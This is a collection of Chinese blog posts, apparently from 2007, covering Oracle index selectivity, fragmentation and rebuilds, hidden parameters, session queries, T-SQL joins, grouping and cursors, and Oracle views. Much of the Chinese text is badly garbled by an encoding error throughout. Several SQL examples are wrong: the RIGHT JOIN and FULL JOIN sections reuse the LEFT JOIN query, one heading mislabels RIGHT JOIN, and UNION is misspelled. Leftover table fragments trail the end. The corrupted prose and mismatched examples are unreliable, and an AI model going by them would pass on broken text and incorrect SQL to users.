　　列的选择�?不同值的数目/行的��L�� /* ��接�q?��好 */

select count(distinct �W�一列||'%'||�W�二�?/count(*)
from 表名
/

　　如果我们知道其中一列烦引的选择性（例如其中一列是主键�Q�，那么我们��可以知道另一列烦引的选择性�?br />
　　手工�Ҏ��的优�Ҏ��在创建烦引前��p��评估索引的选择性�?br />
　　�Q?�Q�自动测量烦引的选择�?br />
　　如果分析一个表�Q�也会自动分析所有表的烦引�?br />
　　�W�一�Q��ؓ了确定一个表的确定性，��p��分析表�?br />
analyze table 表名
compute statistics
/

　　�W�二�Q�确定烦引里不同关键字的数目�Q?br />
select distinct_keys
from user_indexes
where table_name='表名'
and index_name='索引�?
/

　　�W�三�Q�确定表中行的��L��Q?br />
select num_rows
from user_tables
where table_name='表名'
/

　　�W�四�Q�烦引的选择�?索引里不同关键字的数�?表中行的��L��Q?br />
select i.distinct_keys/t.num_rows
from
user_indexes i,
user_tables t
where i.table_name='表名'
and i.index_name='索引�?
and i.table_name=t.table_name
/

　　�W�五�Q�可以查询USER_TAB_COLUMNS以了解每个列的选择性�?br />
　　表中所有行在该列的不同值的数目�Q?br />
select
column_name,
num_distinct
from user_tab_columns
where table_name='表名'
/

　　列的选择�?NUM_DISTINCT/表中所有行的��L��Q�查询USER_TAB_COLUMNS有助��量每个列的选择性，但它�q�不能精��地��量列的�q�置�l�合的选择性。要��x��量一�l�列的选择性，需要采用手工方法或者根据这�l�列创徏一个烦引�ƈ重新分析表�?br />
　　�? ��定索引的实际碎�?/b>

　　随着数据库的使用�Q�不可避免地对基本表�q�行插入�Q�更新和删除�Q�这样导致叶子行在烦引中被删除，使该索引产生��片。插入删除越频繁的表�Q�烦引碎片的�E�度也越高。碎片的产生使访问和使用该烦引的I/O成本增加。碎片较高的索引必须重徏以保持最��x��能�?br />
　　�Q?�Q�利用验证烦引命令对索引�q�行验证�?br />
　　�q�将有�h值的索引信息填入index_stats表�?br />
validate index 用户�?索引�?br />/

　　�Q?�Q�查询index_stats表以��定索引中删除的、未填满的叶子行的百分比�?br />
select
name,
del_lf_rows,
lf_rows,
round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"
from index_stats
/

　　�Q?�Q�如果烦引的叶子行的��片��过10%�Q�考虑对烦引进行重建�?br />
alter index 用户�?索引�?rebuild
tablespace 表空间名
storage(initial 初始�?next 扩展�?
nologging
/

　　�Q?�Q�如果出于空间或其他考虑�Q�不能重建烦引，可以整理索引�?br />
alter index用户�?索引�?coalesce
/

　　�Q?�Q�清除分析信�?br />
analyze index 用户�?索引�?br />delete statistics
/

�? 重徏索引
　　�Q?�Q�检查需要重建的索引�?/p>
　　�Ҏ��以下几方面进行检查，��定需要重建的索引�?/p>
　　�W�一�Q�查看SYSTEM表空间中的用��L��引�?/p>
　　��Z��避免数据字典的碎片出玎ͼ�要尽量避免在SYSTEM表空间出现用��L��表和索引�?/p>
select index_name
from dba_indexes
where tablespace_name='SYSTEM'
and owner not in ('SYS','SYSTEM')
/
　　�W�二�Q�确保用��L��表和索引不在同一表空间内�?/p>
　　表和索引对象的第一个规则是把表和烦引分��R��把表和相应的烦引徏立在不同的表�I�间中，最好在不同的磁盘上。这样可以避免在数据��理和查询时出现的许多I/O冲突�?/p>
set linesize 120
col "OWNER" format a20
col "INDEX" format a30
col "TABLE" format a30
col "TABLESPACE" format a30
select
i.owner "OWNER",
i.index_name "INDEX",
t.table_name "TABLE",
i.tablespace_name "TABLESPACE"
from
dba_indexes i,
dba_tables t
where i.owner=t.owner
and i.table_name=t.table_name
and i.tablespace_name=t.tablespace_name
and i.owner not in ('SYS','SYSTEM')
/
　　�W�三�Q�查看数据表�I�间里有哪些索引
　　用户的默认表�I�间应该不是SYSTEM表空��_��而是数据表空间。在建立索引�Ӟ��如果不指定相应的索引表空间名�Q�那么，该烦引就会徏立在数据表空间中。这是程序员�l�常忽略的一个问题。应该在建烦引时�Q�明��的指明相应的烦引表�I�间�?/p>
col segment_name format a30
select
owner,
segment_name,
sum(bytes)
from dba_segments
where tablespace_name='数据表空间名'
and segment_type='INDEX'
group by owner,segment_name
/
　　�W�四�Q�查看哪个烦引被扩展了超�q?0��?/p>
　　随着表记录的增加�Q�相应的索引也要增加。如果一个烦引的next extent��D��|�不合理�Q�太��）�Q�烦引段的扩展变得很频繁。烦引的extent太多�Q�检索时的速度和效率就会降低�?/p>
set linesize 100
col owner format a10
col segment_name format a30
col tablespace_name format a30
select
count(*),
owner,
segment_name,
tablespace_name
from dba_extents
where segment_type='INDEX'
and owner not in ('SYS','SYSTEM')
group by owner,segment_name,tablespace_name
having count(*) >10
order by count(*) desc
/

　　�Q?�Q�找出需要重建的索引后，需要确定烦引的大小�Q�以讄��合理的烦引存储参数�?/p>
set linesize 120
col "INDEX" format a30
col "TABLESPACE" format a20
select
owner "OWNER",
segment_name "INDEX",
tablespace_name "TABLESPACE",
bytes "BYTES/COUNT",
sum(bytes) "TOTAL BYTES",
round(sum(bytes)/(1024*1024),0) "TOTAL M",
count(bytes) "TOTAL COUNT"
from dba_extents
where segment_type='INDEX'
and segment_name in
(
'索引�?',
'索引�?',
......
)
group by owner,segment_name,segment_type,tablespace_name,bytes
order by owner,segment_name
/
　　�Q?�Q�确定烦引表�I�间�q�有��_��的剩余空间�?/p>
　　��定要把索引重徏到哪个烦引表�I�间中。要保证相应的烦引表�I�间有��够的剩余�I�间�?/p>
select round(bytes/(1024*1024),2) free(M)
from sm$ts_free
where tablespace_name='表空间名'
/
　　�Q?�Q�重建烦引�?/p>
　　重徏索引时要注意以下几点�Q?/p>
　　a.如果不指定tablespace名，索引��徏在用��L��默认表空间�?/p>
　　b.如果不指定nologging�Q�将会写日志�Q�导致速度变慢。由于烦引的重徏没有恢复的必要，所以，可以不写日志�?/p>
　　c.如果出现资源忙，表明有进�E�正在��用该索引�Q�等待一会再提交�?/p>
alter index 索引�?br />rebuild
tablespace 索引表空间名
storage(initial 初始�?next 扩展�?
nologging
/
　　�Q?�Q�检查烦引�?/p>
　　寚w��建好的烦引进行检查�?/p>
select *
from dba_extents
where segment_name='索引�?
/
　　�Q?�Q�根据烦引进行查询，��查烦引是否有�?/p>
　　使用相应的where条�g�q�行查询�Q�确保��用该索引。看看��用烦引后的效果如何�?/p>
select *
from dba_ind_columns
where index_name like '表名%'
/
　　然后�Q�根据相应的索引��进行查询�?/p>
select *
from '表名%'
where ......
/
　　�Q?�Q�找出有��片的表�I�间�Q��ƈ攉��其碎片�?/p>
　　重徏索引后，原有的烦引被删除�Q�这样会造成表空间的��片�?/p>
select 'alter tablespace '||tablespace_name||' coalesce;'
from dba_free_space_coalesced
where percent_blocks_coalesced!=100
/
　　整理表空间的��片�?/p>
alter tablespace 表空间名 coalesce

☜♥☞MengChuChen 2007-03-08 08:45 发表评论

Oracle 常用技巧和脚本选择�?yanlixin4csdn �?Blog

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:42:00 GMT

Oracle 常用技巧和脚本选择�?yanlixin4csdn �?Blog
如何查看ORACLE的隐含参敎ͼ�

ORACLE的显式参敎ͼ�除了在INIT.ORA文�g中定义的外，在svrmgrl中用"show parameter *"�Q�可以显�C�。但ORACLE�q�有一些参数是以“_”，开头的。如我们非常熟悉的“_offline_rollback_segments”等�?

�q�些参数可在sys.x$ksppi表中查出�?

语句�Q�“select ksppinm from x$ksppi where substr(ksppinm,1,1)='_'; �?

2. 如何查看安装了哪些ORACLE�l��g�Q?

�q�入${ORACLE_HOME}/orainst/�Q�运�?/inspdver�Q�显�C�安装组件和版本受��?

3. 如何查看ORACLE所占用�׃�n内存的大��？

可用UNIX命��o“ipcs”查看共享内存的起始地址、信号量、消息队列�?

在svrmgrl下，用“oradebug ipc”，可看出ORACLE占用�׃�n内存的分�D�和大小�?

example:

SVRMGR> oradebug ipc
-------------- Shared memory --------------

Seg Id Address Size
1153 7fe000 784
1154 800000 419430400
1155 19800000 67108864

4. 如何查看当前SQL*PLUS用户的sid和serial#?

在SQL*PLUS下，�q�行�Q?

“select sid, serial#, status from v$session

where audsid=userenv('sessionid');�?

5. 如何查看当前数据库的字符集？

在SQL*PLUS下，�q�行�Q?

“select userenv('language') from dual;�?

或：

“select userenv('lang') from dual;�?

6. 如何查看数据库中某用��P��正在�q�行什么SQL语句�Q?

�Ҏ��MACHINE、USERNAME或SID、SERIAL#�Q�连接表V$SESSION和V$SQLTEXT�Q�可查出�?

SQL*PLUS语句�Q?

“SELECT SQL_TEXT FROM V$SQL_TEXT T, V$SESSION S WHERE T.ADDRESS=S.SQL_ADDRESS

AND T.HASH_VALUE=S.SQL_HASH_VALUE

AND S.MACHINE='XXXXX' OR USERNAME='XXXXX' -- 查看某主机名�Q�或用户�?

/�?

7. 如何删除表中的重复记录？

例句�Q?

DELETE
FROM table_name a
WHERE rowid > ( SELECT min(rowid)
FROM table_name b
WHERE b.pk_column_1 = a.pk_column_1
and b.pk_column_2 = a.pk_column_2 );

8. 手工临时强制改变服务器字�W�集

以sys或system��d��pȝ��Q�sql*plus�q�行�Q�“create database character set us7ascii;".
有以下错误提�C�：
* create database character set US7ASCII
ERROR at line 1:
ORA-01031: insufficient privileges
实际上，看v$nls_parameters�Q�字�W�集已更�Ҏ��功。但重启数据库后�Q�数据库字符集又变回原来的了�?
该命令可用于临时的不同字�W�集服务器之间数据倒换之用�?
9. 怎样查询每个instance分配的PCM锁的数目

用以下命令：

select count(*) "Number of hashed PCM locks" from v$lock_element where bitand(flags,4)<>0

/

select count(*) "Number of fine grain PCM locks" from v$lock_element

where bitand(flags,4)=0

/

10. 怎么判断当前正在使用何种SQL优化方式�Q?

用explain plan产生EXPLAIN PLAN�Q�检查PLAN_TABLE中ID=0的POSITION列的倹{�?

e.g.

select decode(nvl(position,-1),-1,'RBO',1,'CBO') from plan_table where id=0

/

11. 做EXPORT�Ӟ��能否��DUMP文�g分成多个�Q?

ORACLE8I中EXP增加了一个参数FILESIZE�Q�可��一个文件分成多个：

EXP SCOTT/TIGER FILE=�Q�ORDER_1.DMP,ORDER_2.DMP,ORDER_3.DMP) FILESIZE=1G TABLES=ORDER�Q?

其他版本的ORACLE在UNIX下可利用��道和split分割�Q?

mknod pipe p

split -b 2048m pipe order & #��文件分割成�Q�每�?GB大小的，以order为前�~�的文�Ӟ��

#orderaa,orderab,orderac,... �q�将该进�E�放在后台�?

EXP SCOTT/TIGER FILE=pipe tables=order

☜♥☞MengChuChen 2007-03-08 08:42 发表评论

ORACLE 杂谈

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:40:00 GMT
     摘要: ORACLE 杂谈ORACLE 面试问题-技术篇�Q?�Q�ORACLE 面试问题-技术篇�Q?�Q?  �q�也许是你一直期待的文章�Q�在��x��q�部分技术问题的同时�Q�请务必阅读有关面试中有关个人的问题和解�{�（�q�部分将在下几期中出玎ͼ�。这里的回答�q�不是十分全面，�q�些问题可以通过多个角度来进行解释，也许你不必在面试�q�程中给出完全详��的�{�案�Q�只需要通过你的解答佉K��试考官了解你对ORACLE概念的熟悉程度。�?. 解释�?..  阅读全文

☜♥☞MengChuChen 2007-03-08 08:40 发表评论

常用SQL资料

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:40:00 GMT

常用SQL资料

Transact-SQL具体可以参阅《Transact-SQL参考�?tsql.hlp)(��写《T-SQL�?

建意�Q?/div>
在写SQL Script时最好能��数据操作SQL的保留字用大�?/div>
注：

此处语法格式只是常用格式�Q��ƈ不是SQL标准格式�Q�标准格式请参阅《T-SQL�?/div>
�Q�在例子中的SQL无实际意义）

选择

SELECT

SELECT 可以选择指定的数据列

如：

SELECT * FROM sysobjects

SELECT [name] FROM syscolumns

当在SQL中存在系�l�保留字时应用“[]”引��P��或在SQL中存在特�D�字�W�也应用“[]”引��P��

如：

       SELECT [Object Name] FROM Objects

在��用别名时也应注意以上原则�Q�别名��用可以用以下两种�Ҏ��Q?/div>
       Column_name AS alias

       Column_name alias

中间的AS可以省略

在SELECT中可以��用条仉��择语法�Q�参见下面的“条件�?/div>
       如：

              SELECT [name],xtype,CASE WHEN xtype=’U�?THEN ‘用戯��?ELSE CASE WHEN xtype=’S�?THEN ‘系�l�表�?END END AS �c�d�� FROM sysobjects

�q�回表：

name

xtype

�c�d��

syscolumns

S

�pȝ��?/div>

tabledefine

U

用户�?/div>

��两个查询合成单独的�q�回表：

用UNION关键�?/div>
如SELECT A,B FROM Table1

UNOIN

SELECT C,D FROM Table2

说明�Q?/div>
       在��用UNION�Ӟ��若无ALL参数则默认将�q�虑相同的记录，

       如：

Table1

Table2

ID

TF1

VALUE1

ID

TF2

VALUE2

1

A

10

5

A

10

5

B

20

6

D

21

2

A

30

3

C

31

3

C

40

1

B

41

       SELECT TF1,VALUE1 FROM Table1

       UNION

       SELECT TF2,VALUE2 FROM Table2
       �q�回表：



TF1

VALUE1

A

10

B

20

A

30

C

40

D

21

C

31

B

41

       其中可以看出��了一个”TF2=A ,VALUE2=10”的记录

       但用以下查询�?/div>
       SELECT TF1,VALUE1 FROM Table1

       UNION ALL

       SELECT TF2,VALUE2 FROM Table2

       �q�回表：



TF1

VALUE1

A

10

B

20

A

30

C

40

A

10

D

21

C

31

B

41

       刚此查询��返回所有记�?/div>
       此问题可能会出现在报表统计上�Q�如一个员工在不同日期内做了相同的产品与数据，但在使用非ALL方式�q�行合计时将会少合计一条记�?/div>

与INTO联用

SELECT �? INTO B FROM A

可以��A 表的指定数据存入B表中

应用�c�d��Q?/div>
备䆾数据表：

              SELECT * INTO Table1_bak FROM Table1

       创徏新表

              SELECT * INTO New_Table1 FROM Table1 WHERE 1<>1

              SELECT TOP 0 * INTO New_Table1 FROM Table1

       保存查询�l�果

              SELECT Field1,Field2 INTO Result FROM Table1 WHERE ID>1000

       创徏新表�q�在新表中加入自动序�?/div>
              一表有些表需要一个自动编号列来区别于各行

              SELECT IDENTITY (INT,1,1) AS AutoId,* INTO new_Table1 FROM Table1

              其中IDENTITY函数说明�Q?/div>
                     格式�Q?/div>
                            IDENTITY ( [seed,increment])

                     参数说明�Q?/div>
                            Datatype:数据�c�d��Q�视记录数定�c�d��Q�一般可以定INT型，具体可以参考SQL的极限参�?/div>
                            Seed:开始数��|��卛_��始的基数�Q�默认�ؓ1

                            Increment:增量�Q�步长即数据间的间隔�Q�默认�ؓ1

              上面的SQL卌��C�，自动�~�号�?开始�ƈ每行�?

�q�回的表为：

AutoId

Field1

Field2

1

Hello

Joy

2

Hello

Tom

3

Hi

Lily

4

Hello

Lily

              注：

                     IDENTITY�q�可以在创徏表时讄��

                     格式�Q?/div>
                            IDENTITY ([seed, increment])

                     如：

                            创徏�?/div>
                            CREATE TABLE Table1 (

                                   AutoId int IDENTITY(1,1), �?autoid int identity

                                   Field1 nvarchar(30),

                                   Field2 nvarchar(30)

)

                            修改�?/div>
                            ALTER TABLE Table1 ADD AutoId int IDENTITY (1,1)

              在进行数据插入时应注意IDENTITY_INSERT�q�个属性的讄��

                     �?SET IDENTITY_INSERT ON �Ӟ��则不能进行隐式插�?/div>
                     如：
                            SET IDENTITY_INSERT Table1 ON
                            INSERT INTO Table1 SELECT (‘r1c1�?’r1c2�?         --�q�样��׃��出错
                            必需使用�Q?/div>
                            INSERT INTO Table1 SELECT (1,’R1C1�?’R1C2�?

                     只能在SET IDENTITY_INSERT

OFF 时才允许隐式插入
                     如：
                            SET IDENTITY_INSERT Table OFF
必需使用�Q?/div>
                            INSERT INTO Table1 SELECT (‘r1c1�?’r1c2�?

                            否则

                            INSERT INTO Table1 SELECT (1,’R1C1�?’R1C2�? --�q�样��׃��出错

              在��用隐式插入后可以用@@IDENTITY�q�个�pȝ��值来�q�回插入行的�~�号

                     INSERT INTO Table1 SELECT(‘R1C1�?’R1C2�?

                     �q�回表：

AutoID

Field1

Field2

1

R1C1

R1C2

                     SELECT @@IDENTITY

                     �q�回��|��

                            1

              在应用程序中可以用以下方法做�Q?/div>
                     set recs=cnn.execute(“INSERT INTO Table1 SELECT(‘R1C1�?’R1C2�?�?

                     recordnum=cnn.execute(“SELECT @@IDENTITY�?.fields(0).value

                     以上语句执行后recordnum的值将讄��为最后一个自动编�?/div>

兌��

       用例:

Table1

Table2

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

5

TFI2-1

11

5

TFI1-2

20

6

TFI2-2

21

2

TFI1-3

30

3

TFI2-3

31

3

TFI1-4

40

1

TFI2-4

41

Table2

INNER JOIN

只显�C�Z��表一一对应的记�?/div>
SELECT * FROM Table1 INNER JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

1

TFI2-4

41

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

LEFT JOIN(LEFT OUTER JOIN)

昄��左表所有记录与双��对应左表的记录，当在双��中无记录�Q�则双��相应字段用NULL填充

SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

1

TFI2-4

41

2

TFI1-3

30

NULL

NULL

NULL

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

RIGHT JOIN(LEFT OUTER JOIN)

昄��双��所有记录与左表对应双��的记录，当在左表中无记录�Q�则左表相应字段用NULL填充

SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：

ID

TF1

VALUE1

ID

TF2

VALUE2

NULL

NULL

NULL

6

TFI2-2

21

1

TFI1-1

10

1

TFI2-4

41

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

FULL JOIN(FULL OUTER JOIN)

昄��左右两表所有记录，当左表无记录�Q�则左表相应字段用NULL填充�Q�当双��无记录则双��相关字段用NULL填充

SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

1

TFI2-4

41

2

TFI1-3

30

NULL

NULL

NULL

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

NULL

NULL

NULL

6

TFI2-2

21

说明�Q?/div>
       在进行多�U�关联的时候应该采用就�q�关联原�?/div>
如：

       SELECT * FROM Table1 INNER JOIN Table2 INNER JOIN Table2-1 ON Table2.ID=Table2-1.ID ON Table1.ID=Table2.ID

即Table2与Table2-1兌��

Table1与Table2兌��

建意�Q?/div>
       在写此类兌��Ӟ��最好将��句格式结构化

       如：

       SELECT *

       FROM

       Table1

       INNER JOIN Table2

              INNER JOIN Table2-1

              ON Table2.ID=Table2-1.ID

       ON Table1.ID=Table2.ID

       WHERE

       ID IN (1,2,3)

注：

       在写完查询语句后�Q�可以由“企业管理器”进行SQL语句的格式化�Q�但�q�一�q�程出来的语句一定要�q�行��试�Q�因为在他自动格式化时可能会把某些复杂的关系搞错

分组

GROUP BY

�Q�没什么好��_��Q�）

如：

       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B ORDER BY A

注：

       在进行GROUP BY 时应该注意GROUP BY 中字�D늚�使用�Q?/div>
       只要在同一查询语句中则所有未�q�行骤合操作的字�D�都需要被GROUP�Q?/div>
       如上面的SQL中，字段A,与B都未被骤合，�q�字�D�A被排序，而字�D�D被骤合函数SUM�q�行汇�ȝ��?/div>
       因此字段A,B需要被GROUP 而D则不�?/div>
如：

    SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B,C ORDER BY C

在此查询中，虽然字段C没有被选择�Q�但他被ORDER因此字段C也应该在GROUP的字�D�中

如：

       SELECT A,B,SUM(D) FROM Table1 WHERE A IN (SELECT D FROM Table1 T1 WHERE NOT C IS NULL) GROUP BY A,B,C ORDER BY C

       在此查询中字�D�A,B为选择字段�Q�字�D�C为排序字�D�，但字�D�D虽然也在同一张表Table1中，但他在子查询中因此不用进行对D的GROUP

       若要对聚合结果进行筛选则应该使用HAVING关键字，而不是WHERE关键字，

       如：

       SELECT A,B,SUM(D) FROM Table1 WHERE COUNT(*)>2 GROUP BY A,B   ---�q�样��会出错�Q�因为COUNT��Z��个聚合函敎ͼ�在WHERE子句中不能对聚合函数�q�行�{��?/div>
       应改为：

       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B HAVING COUNT(*)>2

应用GROUP可以�q�行分类�l�计

相关的关键字为CUBE,ROLLUP但不建意使用�q�两个关键字�Q?/div>
在一般情况下�Q�如果程序中的GRID有分�c�L��d��能，那相应的速度会比使用�q�两个关键字要快�Q?/div>
与这两个关键字一起��用的聚合函数为GROUPING()�Q�即当进行项目分�c�L��L��GROUPING()��会�q�回1�Q�反之则�?�Q��ؓ可以写统计标题时提供参考，

具体说明请参见《T-SQL�?/div>
具体实例在《SOMIC人力资源��理》中<部门人员汇总表>中有应用

条�g

CASE WHEN

此组关键字的功能可以代替IF…THEN�?ELSE或SELECT CASE

语法�l�构�Q?/div>
CASE [expression]

      WHEN THEN result

        [ELSE else_result ]

    END

在查询中使用此语句时应尽量在END后加别名�Q?/div>
       如：

              SELECT [name],xtype,CASE WHEN xtype=’U�?THEN ‘用戯��?ELSE CASE WHEN xtype=’S�?THEN ‘系�l?/div>
�q�回表：

name

xtype

�c�d��

syscolumns

S

�pȝ��?/div>

tabledefine

U

用户�?/div>

       详细用例请参考《�h�l�计件工资》中<人员-部门产量汇总表>

       用此语句与SELECT用UNION联用能做行列换位

�q�程性语句应�?/div>

变量定义

在SQL中用户变量是以@打头的字�?�pȝ��变量用@@打头

如：

       @i

       @tmpStr

定义�Ҏ��Q?/div>
Declare @i int

Declare @tmpStr nvarchar(30)

在完成变量定义后最好进行初始设�|�，�?/div>
Set @i=0

Set tmpStr=’�?/div>
�?/div>
Select @i=0,@tmpStr=’�?/div>
在SQL中对变量的赋值应用SET或SELECT�q�行

游标定义

游标�Q�可以将查询�l�果�q�回为游标类�?/div>
定义�Ҏ��Q?/div>
Declare cursor

For

�?

declare cursor GetName

for SELECT [name] FROM sysobjects

游标使用�Ҏ��Q?/div>
打开游标�Q?/div>
Open

如：open GetName

��索游标：

Fetch [NEXT | PRIOR | FIRST | LAST] form [into …]

如：

Fetch next from GetName into @tmpName

当取值成功后�Q�相应记录��g��填充在@tmpName变量中，�q�@@FETCH_STATUS变量�|��ؓ0�Q?/div>
若失败则@@FETCH_STATUS变量�?1

关闭游标

在��用完游标后关闭他�Q�以便其他进�E��用此游标

CLOSE

如：

       Close GetName

删除游标

在��用完游标后，如不再需要应该删除已使用游标�Q?/div>
DEALLOCATE

如：

Deallocate GetName

☜♥☞MengChuChen 2007-03-08 08:40 发表评论

ORACLE SQL性能优化�p�d��

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:37:00 GMT
     摘要: ORACLE SQL性能优化�p�d�� (�? 20.       用表�q�接替换EXISTS      通常来说 , 采用表连接的方式比EXISTS更有效率      SELECT ENAME      FROM EMP E      WHERE EXISTS (SELECT ‘X�?                      FROM DEPT                      WHERE...  阅读全文

☜♥☞MengChuChen 2007-03-08 08:37 发表评论

ORACLE学习�W�记视图

☜♥☞MengChuChen — Wed, 07 Mar 2007 12:08:00 GMT

ORACLE学习�W�记视图

2007-01-29 09:34

Oracle的数据库对象分�ؓ五种�Q�表�Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q�序列，索引和同义词�?/font>

    视图是基于一个表或多个表�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图的逻辑表，本��n不包含数据，通过它可以对表里面的数据�q�行查询和修攏V�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图��Z��的表�U�Cؓ��?/font>

    视图是存储在数据字典里的一条select语句�?nbsp;通过创徏视图可以提取数据的逻辑上的集合或组合�?/font>

视图的优点：

      1.�Ҏ��据库的访问，因�ؓ视图可以有选择性的选取数据库里的一部分�?/font>

      2.用户通过��单的查询可以从复杂查询中得到�l�果�?/font>

      3.�l�护数据的独立性，试图可从多个表检索数据�?/font>

      4.对于相同的数据可产生不同�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�?/font>

视图分�ؓ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图和复�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

      ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图只从单表里获取数�?br>      复杂视图从多�?br>
      ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图不包含函数和数据�l?br>      复杂视图包含

     ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图可以实现DML操作
     复杂视图不可�?

视图的创建：

    CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name

   [( alias [, alias ]...)]

  AS subquery

  [WITH CHECK OPTION [CONSTRAINT constraint ]]

  [WITH READ ONLY]

OR REPLACE    �Q�若所创徏的试囑ַ��l�存在，ORACLE自动重徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

FORCE              �Q�不��基表是否存�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE都会自动创徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

NOFORCE         �Q�只有基表都存在ORACLE才会创徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

alias                   �Q��ؓ视图产生的列定义的别名；

subquery           �Q�一条完整的SELECT语句�Q�可以在该语句中定义别名�Q?/font>

WITH CHECK  OPTION �Q?/font>

                            插入或修改的数据行必��L��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图定义的约束；

WITH READ ONLY �Q?/font>

                           �?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图上不能进行�Q何DML操作�?/font>

例如�Q?/font>

       CREATE  OR  REPLACE  VIEW  dept_sum_vw

               (name,minsal,maxsal,avgsal)

       AS  SELECT d.dname,min(e.sal),max(e.sal),avg(e.sal)

       FROM    emp e,dept d

       WHERE  e.deptno=d.deptno

       GROUP  BY  d.dname;

视图的定义原则：

       1.视图的查询可以��用复杂的SELECT语法�Q�包括连�?分组查询和子查询�Q?/font>

       2.在没有WITH CHECK OPTION�?nbsp;READ ONLY 的情况下�Q�查询中不能使用

          ORDER BY 子句�Q?/font>

       3.如果没有为CHECK OPTION�U�束命名�Q�系�l�会自动��Z��命名�Q��Ş式�ؓSYS_Cn;

       4.OR REPLACE选项可以不删除原视图便可更改其定义�ƈ重徏�Q�或重新授予对象

          权限�?/font>

视图的查询：

          视图创徏成功后，可以�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图中检索数据，�q�点和从表中��索数据一栗��?/font>

          �q�可以查�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图的全部信息和指定的数据行和列�?/font>

   如：

         ��索数据：

          SQL>SELECT * FROM  dept_sum_vw�Q?/font>

         查询视图定义�Q?/font>

         SELECT view_name,text  from user_views;

            其中text昄��的内容�ؓ视图定义的SELECT语句�Q�可通过DESC USER_VIEWS

            得到相关信息�?/font>

修改视图�Q?/font>

        通过OR REPLACE 重新创徏同名视图卛_��?/font>

视图上的DML 操作�Q?/font>

        DML操作应遵循的原则�Q?/font>

        1.��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图可以执行DML操作�Q?/font>

        2.�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图包含GROUP 函数�Q�GROUP BY子句�Q�DISTINCT关键字时不能

           删除数据行；

        3.�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图不出��C��列情冉|��可通过视图修改��数据或插入数据：

            a.视图中包含GROUP 函数�Q�GROUP BY子句�Q�DISTINCT关键字；

            b.使用表达式定义的列；

            c.ROWNUM伪列�?/font>

            d.��中未�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图中选择的其他列定义为非�I�Z��无默认倹{�?/font>

视图可用于保持数据库的完整性，但作用有限�?/font>

通过视图执行引用完整性约束可在数据库�U�执行约束�?/font>

WITH CHECK OPTION 子句限定�Q?/font>

         通过视图执行的INSERTS和UPDATES操作不能创徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图��索不到的数据行，

         因�ؓ它会�Ҏ��入或修改的数据行执行完整性约束和数据有效性检查�?/font>

  例如�Q?/font>

           CREATE OR REPLACE VIEW  vw_emp20

           AS  SELECT *  FROM  emp

           WHERE  deptno=20

           WITH CHECK OPTION constraint  vw_emp20_ck;

          视图已徏立�?/font>

            查询�l�果�Q?/font>

           SELECT empno,ename,job FROM vw_emp20;



          EMPNO                ENAME                JOB

---------------------           --------------          -------------

              7369                 SMITH                CLERK

              7566                 JONES               MANAGER

              7902                 FORD                ANALYST

          修改�Q?/font>

                UPDATE vw_emp20

                SET        deptno=20

                WHERE   empno=7902;

           ��生错误：

               UPDATE vw_emp20

                              *

               ERROR 位于�W�一行：

               ORA-01402�Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图WITH CHECK OPTION �q�反WHERE 子句

视图的删除：

            DROP VIEW  VIEW_NAME语句删除视图�?/font>

            删除视图的定义不影响��中的数据�?/font>

            只有视图所有者和具备DROP VIEW权限的用户可以删�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�?/font>

            视图被删除后�Q�基于被删除视图的其�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图或应用将无效�?/font>

☜♥☞MengChuChen 2007-03-07 20:08 发表评论

name	xtype	�c�d��
syscolumns	S	�pȝ��?/div>
tabledefine	U	用户�?/div>

Table1			Table2
ID	TF1	VALUE1	ID	TF2	VALUE2
1	A	10	5	A	10
